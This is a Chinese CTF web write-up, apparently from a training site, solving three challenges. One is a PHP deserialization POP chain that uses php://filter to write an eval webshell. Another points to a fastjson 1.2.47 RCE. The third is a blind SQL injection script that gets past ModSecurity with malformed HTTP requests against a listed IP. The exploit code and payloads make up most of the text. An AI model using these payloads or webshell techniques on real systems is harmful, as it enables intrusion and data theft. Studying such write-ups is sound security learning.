    public function cleanContents(array $contents)

    {

        $cachedProperties = array_flip([

            'path', 'dirname', 'basename', 'extension', 'filename',

            'size', 'mimetype', 'visibility', 'timestamp', 'type',

        ]);


        foreach ($contents as $path => $object) {

            if (is_array($object)) {

                $contents[$path] = array_intersect_key($object, $cachedProperties);

            }

        }


        return $contents;

    }


    public function getForStorage()

    {

        $cleaned = $this->cleanContents($this->cache);


        return json_encode([$cleaned, $this->complete]);

    }


    public function save()

    {

        $contents = $this->getForStorage();


        $this->store->set($this->key, $contents, $this->expire);

    }


    public function __destruct()

    {

        if (! $this->autosave) {

            $this->save();

        }

    }

}


class B{


    protected function getExpireTime($expire): int

    {

        return (int) $expire;

    }


    public function getCacheKey(string $name): string

    {

        return $this->options['prefix'] . $name;

    }


    protected function serialize($data): string

    {

        if (is_numeric($data)) {

            return (string) $data;

        }


        $serialize = $this->options['serialize'];


        return $serialize($data);

    }


    public function set($name, $value, $expire = null): bool

    {

        $this->writeTimes++;


        if (is_null($expire)) {

            $expire = $this->options['expire'];

        }


        $expire   = $this->getExpireTime($expire);

        $filename = $this->getCacheKey($name);


        $dir = dirname($filename);


        if (!is_dir($dir)) {

            try {

                mkdir($dir, 0755, true);

            } catch (\Exception $e) {

                // 创建失败

            }

        }


        $data = $this->serialize($value);


        if ($this->options['data_compress'] && function_exists('gzcompress')) {

            //数据压缩

            $data = gzcompress($data, 3);

        }


        $data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;

        $result = file_put_contents($filename, $data);


        if ($result) {

            return true;

        }


        return false;

    }


}


if (isset($_GET['src']))

{

    highlight_file(__FILE__);

}


$dir = "uploads/";


if (!is_dir($dir))

{

    mkdir($dir);

}

unserialize($_GET["data"]);

构造pop链

通过触发A::__destruct()=>A::save()=>A::store->set()==b::set()最后触发$result = file_put_contents($filename, $data);

绕过exit通过 让$filenamephp://filter/write=convert.base64-decode/resource=uploads/shell.php

因为php中的base64_decode函数会忽略不符合base64编码的字符, 将合法字符组成一个新的字符串进行解码,所以最终被解码的字符仅有php00000000exit和我们传入的$data变量,因为base64算法解码时是4个byte一组,所以我们只要控制我们需要真正解码内容的前面部分字符长度为4的倍数就行

详细可以参考p师傅的博客link

$filename

B::getCacheKey($name)中,将$this->options['prefix']$name拼接得到

构造B::optionsA::key使$filenamephp://filter/write=convert.base64-decode/resource=uploads/shell.php

$data

$value=A::getForStorage()B::serialize($value)得到

构造A的cache为数组['path'=>'a','dirname'=>base64_encode('<?php eval($_GET[a]);?>')];

就可以使得$value=A::getForStorage() 的值为[{"path":"a","dirname":"PD9waHAgZXZhbCgkX0dFVFthXSk7Pz4g"},true]

然后再构造B的serialize值为serialize就可以使得B::serialize($value)的值为‌s:64:"[{"path":"a","dirname":"PD9waHAgZXZhbCgkX0dFVFthXSk7Pz4g"},true]";

这样在最后$data被base64解码的时候只有php//000000000000exits64pathadirnamePD9waHAgZXZhbCgkX0dFVFthXSk7Pz4gtrue,然后前36位字符被编码成功绕过exit

payload

<?php

class A{

    protected $store;

    protected $key;

    protected $expire;

    public $cache = [];

    public $complete = true;

    public function __construct () {

        $this->store = new B();

        $this->key = 'shell.php';

        $this->cache = ['path'=>'a','dirname'=>base64_encode('<?php eval($_GET[a]);?>')];

    }

}


class B{

    public $options = [

        'serialize' => 'serialize',

        'prefix' => 'php://filter/write=convert.base64-decode/resource=uploads/',

    ];

}


echo urlencode(serialize(new A()));

ezjjava

fastjson 1.2.47 RCE    https://github.com/CaijiOrz/fastjson-1.2.47-RCE


ezwaf

题目

<?php

include "config.php";


if (isset($_GET['src']))

{

    highlight_file(__FILE__);

}


function escape($arr)

{

    global $mysqli;

    $newarr = array();

    foreach($arr as $key=>$val)

    {

        if (!is_array($val))

        {

            $newarr[$key] = mysqli_real_escape_string($mysqli, $val);

        }

    }

    return $newarr;

}


$_GET= escape($_GET);


if (isset($_GET['name']))

{

    $name = $_GET['name'];

    mysqli_query($mysqli, "select age from user where name='$name'");

}else if(isset($_GET['age']))

{

    $age = $_GET['age'];

    mysqli_query($mysqli, "select name from user where age=$age");

}

选择age作为注入点,不需要逃逸引号,没有回显利用时间盲注

?age=1%2bsleep(1) => 403

apache设置了waf

用畸形的http包绕过modsecurity

import socket


ip = '111.186.57.43'

port = 10601


def send_raw(raw):

    try:

        with socket.create_connection((ip, port), timeout=4) as conn:

            conn.send(raw)

            res = conn.recv(10240).decode()

            # print(res)

            return False

    except:

        return True




if __name__ == '__main__':

    

    res = 'flag{abypass_modsecurity'

    for i in range(24, 50):

        for j in range(32, 127):

            payload = '''GET /?age=1%20or%201%20and%20ascii(substr((select%20*%20from%20flag_xdd),{},1))={}%20and%20sleep(2) HTTP/1.1

Host: 111.186.57.43:10601

Accept-Encoding: gzip, deflate

Connection: close

Content-Length: 0

Content-Length: 0


'''.format(str(i), str(j))

            exp = payload.encode().replace(b'\n', b'\r\n')

            # print(exp)

            if send_raw(exp):

                res += chr(j)

                print(res)

                continue

不稳定的话时间可以调大一点

上一篇:从一道ctf题中学会了利用LD_PRELOAD突破disable_functions
下一篇:2019湖湘杯和redhat杯的部分Web题解
版权所有 合天智汇信息技术有限公司 2013-2021 湘ICP备14001562号-6
Copyright © 2013-2020 Heetian Corporation, All rights reserved
4006-123-731